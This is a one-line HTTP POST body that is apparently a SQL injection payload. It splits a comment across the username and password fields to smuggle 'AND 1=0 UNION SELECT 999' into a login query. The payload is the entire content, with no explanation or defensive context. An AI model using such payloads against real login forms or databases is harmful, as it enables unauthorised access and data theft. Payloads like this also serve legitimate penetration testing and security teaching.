POST:
username='/*&password=*/%20AND%201=0%20UNION%20SELECT%20999/*